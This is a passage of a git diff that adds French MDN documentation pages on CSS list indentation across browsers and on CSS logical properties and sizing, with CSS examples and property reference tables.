+ <li>Doter chaque élément <code>li</code> d'une marge gauche ;</li>
+ <li>Doter chaque élément <code>ul</code> d'une marge gauche ;</li>
+ <li>Doter chaque élément <code>ul</code> d'un padding gauche quelconque.</li>
+</ol>
+
+<p>Telles que les choses se sont faites, aucun navigateur ne semble avoir choisi la première solution. Internet Explorer pour Windows et Macintosh, ainsi qu'Opera, ont adopté la seconde solution. La troisième a été choisie par Gecko et donc par tous les navigateurs embarquant celui-ci.</p>
+
+<p>Observons de plus près ces deux dernières approches. Dans Internet Explorer et Opera, les listes sont indentées en fixant une marge gauche de 40 pixels pour l'élément <code>ul</code>. Si nous appliquons une couleur d'arrière-plan, à celui-ci en conservant les bordures des éléments de la liste et de cet élément <code>ul</code>, nous obtenons le résultat qui suit :</p>
+
+<p><img alt="" src="/@api/deki/files/623/=Consistent-list-indentation-figure5.gif"></p>
+
+<p>De son côté, Gecko applique un <em>padding</em> gauche de 40 pixels à cet élément <code>ul</code>. Avec les mêmes styles que dans le cas précédent, notre exemple s'affichera dans un navigateur basé sur Gecko de la façon suivante :</p>
+
+<p><br>
+ <img alt="" src="/@api/deki/files/624/=Consistent-list-indentation-figure6.gif" style="height: 102px; width: 242px;"></p>
+
+<p>Comme nous pouvons le voir, les marqueurs restent attachés aux éléments <code>li</code>, où qu'ils soient. La différence réside uniquement dans la manière dont l'élément <code>ul</code> est mis en forme. Nous ne pouvons voir cette différence que si nous essayons de donner un arrière-plan ou des bordures à cet élément <code>ul</code></p>
+
+<h2 id="Obtenir_un_rendu_homogène">Obtenir un rendu homogène</h2>
+
+<p>Après ces observations, nous obtenons la conclusion suivante : si on souhaite obtenir un rendu de liste homogène entre Gecko, Internet Explorer et Opera, il est nécessaire de spécifier <em>à la fois</em> la marge gauche et le <em>padding</em> gauche de l'élément <code>ul</code>. L'élément <code>li</code> peut être ignoré ici. Si vous voulez reproduire le rendu par défaut de Netscape 6.x, vous écrirez :</p>
+
+<pre class="brush: css">ul {
+  margin-left: 0;
+  padding-left: 40px;
+}</pre>
+
+<p>Si vous préférez suivre le modèle Internet Explorer/Opera, vous écrirez alors :</p>
+
+<pre class="brush: css">ul {
+  margin-left: 40px;
+  padding-left: 0;
+}</pre>
+
+<p>Naturellement, vous pouvez utiliser les valeurs de votre choix. Les fixer toutes deux à <code>1.25em</code> si vous en avez envie - il n'y a aucune raison de s'en tenir uniquement à des valeurs en pixels. Et si vous voulez obtenir des listes sans indentation, vous devrez alors, là encore, spécifier à la fois un <em>padding</em> et une marge nuls :</p>
+
+<pre class="brush: css">ul {
+  margin-left: 0;
+  padding-left: 0;
+}</pre>
+
+<p>Souvenez-vous, cependant, qu'en faisant ainsi, vos puces se tiendront en dehors de votre liste et de son élément parent. Si ce parent est l'élément <code>body</code>, il y a de fortes chances qu'elles se retrouvent complètement en dehors de la fenêtre d'affichage du navigateur et qu'elles ne soient donc invisibles.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Au bout du compte, on voit qu'aucun des navigateurs mentionnés dans cet article n'a tort ou raison sur ce point. Ces navigateurs utilisent différents styles par défaut et c'est là que réside le seul problème. En veillant à mettre en forme à la fois la marge gauche et le <em>padding</em> gauche des listes, on peut obtenir un rendu bien plus homogène de l'indentation sur les différents navigateurs.</p>
+
+<h2 id="Recommandations">Recommandations</h2>
+
+<ul>
+ <li>Lorsque vous modifiez l'indentation des listes, veillez à indiquer à la fois le <em>padding</em> et la marge.</li>
+</ul>
diff --git a/files/fr/web/css/css_lists/index.html b/files/fr/web/css/css_lists/index.html
new file mode 100644
index 0000000000..781d7cb961
--- /dev/null
+++ b/files/fr/web/css/css_lists/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Lists
+slug: Web/CSS/CSS_Lists
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Lists_and_Counters
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Lists </strong></em>(listes CSS) est un module CSS qui définit la façon dont les listes sont mises en forme, comment des styles peuvent être appliqués aux marqueurs.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Indentation_homogène_des_listes">Indentation homogène des listes</a></dt>
+ <dd>Explique comment obtenir une indentation homogène dans les différents navigateurs.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">Utiliser les compteurs CSS</a></dt>
+ <dd>Explique comment utiliser les propriétés CSS relatives aux compteurs pour numéroter les listes.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_logical_properties/concepts_de_base/index.html b/files/fr/web/css/css_logical_properties/concepts_de_base/index.html
new file mode 100644
index 0000000000..4129c926c7
--- /dev/null
+++ b/files/fr/web/css/css_logical_properties/concepts_de_base/index.html
@@ -0,0 +1,75 @@
+---
+title: Concepts de base des propriétés et valeurs logiques
+slug: Web/CSS/CSS_Logical_Properties/Concepts_de_base
+tags:
+  - CSS
+  - Guide
+  - Propriété logique
+translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">La spécification relative aux propriétés et valeurs logiques introduit une correspondance relative au flux pour de nombreuses propriétés et valeurs CSS. Dans cet article, nous verrons une introduction de cette spécification et expliquerons les propriétés et valeurs relatives au flux.</p>
+
+<h2 id="Quel_intérêt_pour_les_propriétés_logiques">Quel intérêt pour les propriétés logiques ?</h2>
+
+<p>Historiquement, CSS permettait de dimensionner des objets selon les dimensions physiques de l'écran. On pouvait alors décrire des boîtes avec une certaine largeur ({{CSSxRef("width")}}) et une certaine hauteur ({{CSSxRef("height")}}), positionner les éléments à partir du haut (<code>top</code>) et de la gauche (<code>left</code>), faire flotter les objets, créer des bordures, des marges, du remplissage (<em>padding</em>) en haut, à droite, en bas et à gauche (resp. <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>, etc.). La spécification <a href="https://drafts.csswg.org/css-logical/">sur les propriétés et valeurs logiques</a> définit des correspondances entres ces valeurs physiques et des valeurs logiques, relatives au flux : <code>start</code> et <code>end</code> plutôt que <code>left</code> et <code>right</code> ou <code>top</code> et <code>bottom</code>.</p>
+
+<p>Prenons un exemple pour comprendre la nécessité de telles propriétés et valeurs logiques. On dispose d'une grille CSS et le conteneur de la grille possède une certaine largeur. On y utilise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}} afin d'aligner les éléments à l'intérieur de la grille. Ces propriétés sont relatives au flux : <code>justify-self: start</code> aligne l'élément au début de l'axe en ligne et <code>align-self: start</code> aligne l'élément au début de l'axe de bloc.</p>
+
+<p><img alt="A grid in a horizontal writing mode" src="https://mdn.mozillademos.org/files/16338/grid-horizontal-width-sm.png" style="display: block; margin: 0 auto; width: 350px;"></p>
+
+<p>Si on change le mode d'écriture de ce composant grâce à la propriété {{CSSxRef("writing-mode")}} et avec la valeur <code>vertical-rl</code>, l'alignement continue de fonctionner de la même façon : l'axe en ligne est désormais l'axe vertical et l'axe de bloc court horizontalement. La grille n'a cependant pas la même allure car la largeur est nécessairement définie pour l'axe horizontal : de façon physique et pas relativement au flux de texte.</p>
+
+<p><img alt="A grid in vertical writing mode." src="https://mdn.mozillademos.org/files/16339/grid-vertical-width-sm.png" style="display: block; margin: 0 auto; width: 350px;"></p>
+
+<p>Si on avait utilisé la propriété logique {{CSSxRef("inline-size")}} plutôt que <code>width</code>, le composant aurait gardé les mêmes proportions, quel que soit le mode d'écriture utilisé.</p>
+
+<p><img alt="A grid layout in vertical writing mode" src="https://mdn.mozillademos.org/files/16337/grid-vertical-inline-size-small.png" style="display: block; height: 382px; margin: 0 auto; width: 200px;"></p>
+
+<p>Vous pouvez essayer ces différentes valeurs dans l'exemple qui suit et notamment modifier la propriété <code>writing-mode</code> pour la passer de <code>vertical-rl</code> à <code>horizontal-tb</code> sur le sélecteur <code>.box</code> afin d'observer la façon dont les différentes propriétés modifient la disposition.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}</p>
+
+<p><span style="letter-spacing: -0.00278rem;">Lorsqu'on travaille sur un site où on utilise un mode d'écriture qui n'est pas horizontal et progressant du haut vers le bas ou qu'on travaille sur un concept créatif, pouvoir utiliser des concepts relatifs au flux plutôt que des valeurs géométriques absolues.</span></p>
+
+<h2 id="Axe_de_bloc_et_axe_en_ligne">Axe de bloc et axe en ligne</h2>
+
+<p>Lorsqu'on travaille avec les propriétés et les valeurs logiques, il y a deux concepts majeurs : l'axe de bloc et l'axe en ligne qui sont les deux dimensions de l'espace. Comme nous l'avons vu avant, les nouvelles méthodes de disposition CSS (comme les boîtes flexibles et les grilles CSS) utilisent les concepts de <code>block</code> et <code>inline</code> plutôt que <code>right</code> et <code>left</code>/<code>top</code> et <code>bottom</code> pour l'alignement des objets.</p>
+
+<p>La dimension en ligne (<em>inline</em>) correspond à l'axe selon lequel les lignes de texte sont écrites pour ce mode d'écriture. Ainsi, pour un document français, le texte sera écrit horizontalement de gauche à droite et pour un document arabe écrit de droite à gauche, la dimension en ligne est l'axe horizontal. Si on utilise un mode d'écriture vertical (le japonais par exempl), la dimension en ligne sera verticale car les lignes de texte de ce mode sont écrites verticalement.</p>
+
+<p>La dimension de bloc correspond à l'axe orthogonal et généralement à la direction selon laquelle les blocs de texte (les paragraphes) sont agencés. En français ou en arabe, cet axe est vertical, pour les modes d'écritures écrits verticalement, cet axe est horizontal.</p>
+
+<p>Le diagramme ci-après illustre l'organisation des axes en ligne et des axes de bloc pour un mode d'écriture horizontal :</p>
+
+<p><img alt="diagram showing the inline axis running horizontally, block axis vertically." src="https://mdn.mozillademos.org/files/16340/mdn-horizontal.png" style="display: block; height: 382px; margin: 0 auto; width: 521px;"></p>
+
+<p>Le diagramme suivant illustre l'axe en ligne et l'axe de bloc pour un mode d'écriture vertical :</p>
+
+<p><img alt="Diagram showing the block axis running horizontally the inline axis vertically." src="https://mdn.mozillademos.org/files/16341/mdn-vertical.png" style="display: block; height: 382px; margin: 0 auto; width: 418px;"></p>
+
+<h2 id="Prise_en_charge_des_navigateurs">Prise en charge des navigateurs</h2>
+
+<p>Les propriétés et valeurs logiques peuvent être catégorisées selon différents groupes, notamment pour la compatibilité des navigateurs. Certaines des propriétés logiques sont essentiellement des correspondances de propriétés physiques équivalentes ({{CSSxRef("inline-size")}} sera la propriété logique pouvant correspondre à la propriété physique {{CSSxRef("width")}} et {{CSSxRef("margin-inline-start")}} la propriété physique correspondant à {{CSSxRef("margin-left")}}). La prise en charge de ces propriétés logiques correspondant à des propriétés physiques est plutôt correcte pour les navigateurs récents, vous pouvez consulter les pages <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties#Reference">de référence pour ces propriétés sur MDN</a>, seul Edge ne prend pas en charge ces propriétés à date (décembre 2018).</p>
+
+<p>On a également un groupe de propriétés qui ne possèdent pas de correspondances directes avec les propriétés physiques. Ces propriétés sont des propriétés raccourcies qui font référence aux deux extrêmités d'un axe. Ainsi {{CSSxRef("margin-block")}} sera une propriété raccourcie pour {{CSSxRef("margin-block-start")}} et {{CSSxRef("margin-block-end")}}. Ce deuxième groupe n'est actuellement pas pris en charge par les navigateurs.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note : </strong>Le groupe de travail CSS est actuellement en réflexion pour les propriétés raccourcies avec quatre valeurs pour les propriétés logiques. Autrement dit, comment définir les marges logiques de la façon dont on utilise la propriété {{CSSxRef("margin")}}. Il faudrait en effet une sorte de modificateur si on continue d'utiliser le nom <code>margin</code> pour les propriétés relatives au flux. Pour en savoir plus sur les suggestions et commentaires, vous pouvez consulter l'<em>issue</em> GitHub <a href="https://github.com/w3c/csswg-drafts/issues/1282">n°1282</a>.</p>
+</div>
+
+<h3 id="Tester_la_compatibilité_des_navigateurs">Tester la compatibilité des navigateurs</h3>
+
+<p>Il est possible de tester la prise en charge des propriétés et valeurs logiques en utilisant une requête de fonctionnalité (<code>@supports</code>). Ainsi, on pourrait définit une propriété {{CSSxRef("width")}}, tester si {{CSSxRef("inline-size")}} est prise en charge et, le cas échéant, définir <code>width</code> avec <code>auto</code> et <code>inline-size</code> avec la valeur initialement utilisée pour <code>width</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">L'alignement des boîtes pour une disposition en grille</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">L'alignement des boîtes pour une disposition flexible</a></li>
+ <li><a href="https://www.smashingmagazine.com/2018/03/understanding-logical-properties-values/">Comprendre les propriétés et les valeurs logiques</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture">Les modes d'écriture</a></li>
+</ul>
diff --git a/files/fr/web/css/css_logical_properties/dimensionnement/index.html b/files/fr/web/css/css_logical_properties/dimensionnement/index.html
new file mode 100644
index 0000000000..f6ffe024e6
--- /dev/null
+++ b/files/fr/web/css/css_logical_properties/dimensionnement/index.html
@@ -0,0 +1,89 @@
+---
+title: Propriétés logiques pour le dimensionnement
+slug: Web/CSS/CSS_Logical_Properties/Dimensionnement
+tags:
+  - CSS
+  - Guide
+  - Propriété logique
+translation_of: Web/CSS/CSS_Logical_Properties/Sizing
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous verrons les correspondances entre les propriétés physiques et les propriétés logiques qui peuvent être utilisées afin de dimensionner des éléments au sein d'un document.</p>
+
+<p>Lorsqu'on définit la taille d'un objet, <a href="https://drafts.csswg.org/css-logical/">la spécification sur les propriétés et les valeurs logiques</a> permet de définir le dimensionnement en fonction du flux du texte (le mode d'écriture et son orientation) plutôt que relativement aux dimensions physiques du support (haut / bas / gauche / droite). Bien que ce premier fonctionnement, utilisant des propriétés et des valeurs <em>logiques</em>, puisse devenir la méthode par défaut à l'avenir, on peut tout à fait avoir besoin d'utiliser des propriétés et des valeurs <em>physiques</em> en combinaison avec ces propriétés et ces valeurs logiques.</p>
+
+<h2 id="Correspondances_pour_les_dimensions">Correspondances pour les dimensions</h2>
+
+<p>Le tableau qui suit fournit les correspondances entre les propriétés logiques et les propriétés physiques lorsqu'on utilise un mode d'écriture horizontal progressant de haut en bas (<code>horizontal-tb</code>) comme c'est le cas avec le français ou l'arabe. Dans ce cas, la propriété physique {{CSSxRef("width")}} serait équivalente à la propriété logique {{CSSxRef("inline-size")}}.</p>
+
+<p>Si on utilisait un mode d'écriture vertical, {{CSSxRef("inline-size")}} aurait correspondu à {{CSSxRef("height")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété logique</th>
+   <th scope="col">Propriété physique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{CSSxRef("inline-size")}}</td>
+   <td>{{CSSxRef("width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("block-size")}}</td>
+   <td>{{CSSxRef("height")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("min-inline-size")}}</td>
+   <td>{{CSSxRef("min-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("min-block-size")}}</td>
+   <td>{{CSSxRef("min-height")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("max-inline-size")}}</td>
+   <td>{{CSSxRef("max-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("max-block-size")}}</td>
+   <td>{{CSSxRef("max-height")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple_pour_width_et_height">Exemple pour <code>width</code> et <code>height</code></h2>
+
+<p>Les propriétés logiques correspondant à {{CSSxRef("width")}} et {{CSSxRef("height")}} sont : {{CSSxRef("inline-size")}} pour la taille sur la dimension en ligne et {{CSSxRef("block-size")}}, pour la taille selon la dimension de bloc. Si on travaille sur un document en français, on pourra remplacer <code>width</code> par <code>inline-size</code> et <code>height</code> par <code>block-size</code> et on obtiendra le même résultat.</p>
+
+<p>Dans l'exemple interactif suivant, le mode d'écriture est explicitement définit avec <code>horizontal-tb</code>. En modifiant cette valeur pour la passer à <code>vertical-rl</code>, on verra que le premier exemple, qui utilise <code>width</code> et <code>height</code>, conserve le même dimensionnement, même si le texte s'affiche verticalement. Pour le second exemple qui utilise <code>inline-size</code> et <code>block-size</code>, on voit que le texte et le dimensionnement suivent l'orientation du flux et que le bloc est ainsi tourné dans son intégralité.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-inline-block.html", '100%', 500)}}</p>
+
+<h2 id="Exemple_pour_min-width_et_min-height">Exemple pour <code>min-width</code> et <code>min-height</code></h2>
+
+<p>Il existe également des propriétés logiques correspondantes pour {{CSSxRef("min-width")}} et {{CSSxRef("min-height")}} : {{CSSxRef("min-inline-size")}} et {{CSSxRef("min-block-size")}}. Celles-ci fonctionnent de la même façon que <code>inline-size</code> et <code>block-size</code> mais paramètrent une taille minimale plutôt qu'une taille fixe.</p>
+
+<p>Dans l'exemple suivant, vous pouvez passer le mode d'écriture en <code>vertical-rl</code> et observer l'effet obtenu. Là encore, on utilise la propriété physique (<code>min-height</code>) sur le premier exemple et la propriété logique (<code>min-block-size</code>) sur le second.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-min.html", "100%", 500)}}</p>
+
+<h2 id="Exemple_pour_max-width_et_max-height">Exemple pour <code>max-width</code> et <code>max-height</code></h2>
+
+<p>Enfin, on peut utiliser {{CSSxRef("max-inline-size")}} et {{CSSxRef("max-block-size")}} afin de remplacer les propriétés physiques {{CSSxRef("max-width")}} et {{CSSxRef("max-height")}}. Là encore, vous pouvez modifier l'exemple qui suit pour observer les conséquences de ce changement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-max.html", "100%", 500)}}</p>
+
+<h2 id="Mots-clés_logiques_pour_resize">Mots-clés logiques pour <code>resize</code></h2>
+
+<p>La propriété {{CSSxRef("resize")}} définit si un objet peut être redimensionné. Cette propriété s'utilise avec les valeurs physiques <code>horizontal</code> et <code>vertical</code>. La propriété <code>resize</code> peut désormais s'utiliser également avec des valeurs logiques : <code>resize: inline</code> permettra de redimensionner un objet sur l'axe en ligne et <code>resize: block</code> permettra de le redimensionner sur l'axe en bloc.</p>
+
+<p>La valeur <code>both</code> peut être utilisée dans un contexte physique ou dans un contexte logique : elle permet le redimensionnement sur les deux axes. Vous pouvez manipuler cette propriété et ces valeurs dans l'exemple interactif suivant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-resize.html", "100%", 700)}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> À l'heure actuelle (décembre 2018), seul Firefox prend en charge les valeurs logiques pour <code>resize</code>.</p>
+</div>
diff --git a/files/fr/web/css/css_logical_properties/index.html b/files/fr/web/css/css_logical_properties/index.html
new file mode 100644
index 0000000000..bf77e064c1
--- /dev/null
+++ b/files/fr/web/css/css_logical_properties/index.html
@@ -0,0 +1,174 @@
+---
+title: CSS Logical Properties
+slug: Web/CSS/CSS_Logical_Properties
+tags:
+  - Aperçu
+  - CSS
+  - CSS Logical Properties
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/CSS_Logical_Properties
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><em><strong>CSS Logical Properties</strong></em> (les propriétés logiques CSS) est un module CSS qui définit une correspondance logique vers les propriétés physiques de contrôle de la mise en page selon le sens de lecture et l'orientation du texte. On aura deux directions logiques : <em>block</em> et <em>inline</em>, perpendiculaires, qui dépendent du sens de l'orientation du document.</p>
+
+<p>Ce module définit également les propriétés logiques et les valeurs pour les propriétés précédemment définies avec <abbr title="Cascading Stylesheets">CSS</abbr> 2.1. Les propriétés logiques sont des propriétés dont l'orientation est relative au mode d'écriture du document et possèdent des propriétés physiques équivalentes.</p>
+
+<h3 id="Dimension_de_bloc_ou_de_ligne">Dimension de bloc ou de ligne</h3>
+
+<p>Les propriétés et valeurs logiques utilisent les termes abstraits <em>bloc</em> (<em>block</em>) ou ligne (<em>inline</em>) afin de décrire leur direction. La signification physique de ces termes dépend du <a href="/fr/docs/Web/CSS/CSS_Writing_Modes">mode d'écriture</a>.</p>
+
+<dl>
+ <dt><a id="block-dimension" name="block-dimension">Dimension de bloc</a></dt>
+ <dd>C'est la dimension perpendiculaire au flux du texte sur une ligne. Autrement dit, il s'agit de la dimension verticale lorsque le texte est écrit dans un mode horizontal et de la dimension horizontale lorsque le texte est écrit verticalement (pour le français, cette dimension correspond donc à l'axe vertical).</dd>
+ <dt><a name="inline-dimension">Dimension en ligne</a></dt>
+ <dd>C'est la dimension parallèle au flux du texte sur une ligne. Autrement dit, il s'agit de la dimension horizontale lorsque le texte est écrit dans un mode horizontal et de la dimension verticale lorsque le texte est écrit verticalement (pour le français, cette dimension correspond donc à l'axe horizontal).</dd>
+</dl>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_relatives_au_dimensionnement">Propriétés relatives au dimensionnement</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-inline-size")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Propriétés_relatives_aux_marges_bordures_et_remplissages">Propriétés relatives aux marges, bordures et remplissages</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("border-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-color")}} <span style="white-space: nowrap;">(mot-clé <code>logical</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("border-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-style")}} <span style="white-space: nowrap;">(mot-clé <code>logical</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("border-width")}} <span style="white-space: nowrap;">(mot-clé <code>logical</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("margin")}} <span style="white-space: nowrap;">(mot-clé <code>logical</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("margin-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding")}} <span style="white-space: nowrap;">(mot-clé <code>logical</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("padding-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Propriétés_relatives_aux_flottements_et_au_positionnement">Propriétés relatives aux flottements et au positionnement</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("clear")}} (mots-clés <code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} et <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("float")}} (mots-clés <code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} et <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("inset")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Autres_propriétés">Autres propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("caption-side")}} (mots-clés <code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} et <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("overflow-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("overflow-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("resize")}} {{Experimental_Inline}} (mots-clés <code>block</code> {{Experimental_Inline}} et <span style="white-space: nowrap;"><code>inline</code> {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("text-align")}} (mots-clés <code>end</code> {{Experimental_Inline}} et <span style="white-space: nowrap;"><code>start</code> {{Experimental_Inline}})</span></li>
+</ul>
+</div>
+
+<h3 id="Propriétés_dépréciées">Propriétés dépréciées</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("offset-block-end")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(désormais {{CSSxRef("inset-block-end")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-block-start")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(désormais {{CSSxRef("inset-block-start")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-inline-end")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(désormais {{CSSxRef("inset-inline-end")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-inline-start")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(désormais {{CSSxRef("inset-inline-start")}} {{Experimental_Inline}})</span></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties/Concepts_de_base">Concepts de base pour les propriétés logiques et les valeurs logiques</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties/Dimensionnement">Les propriétés logiques utiles au dimensionnement</a></li>
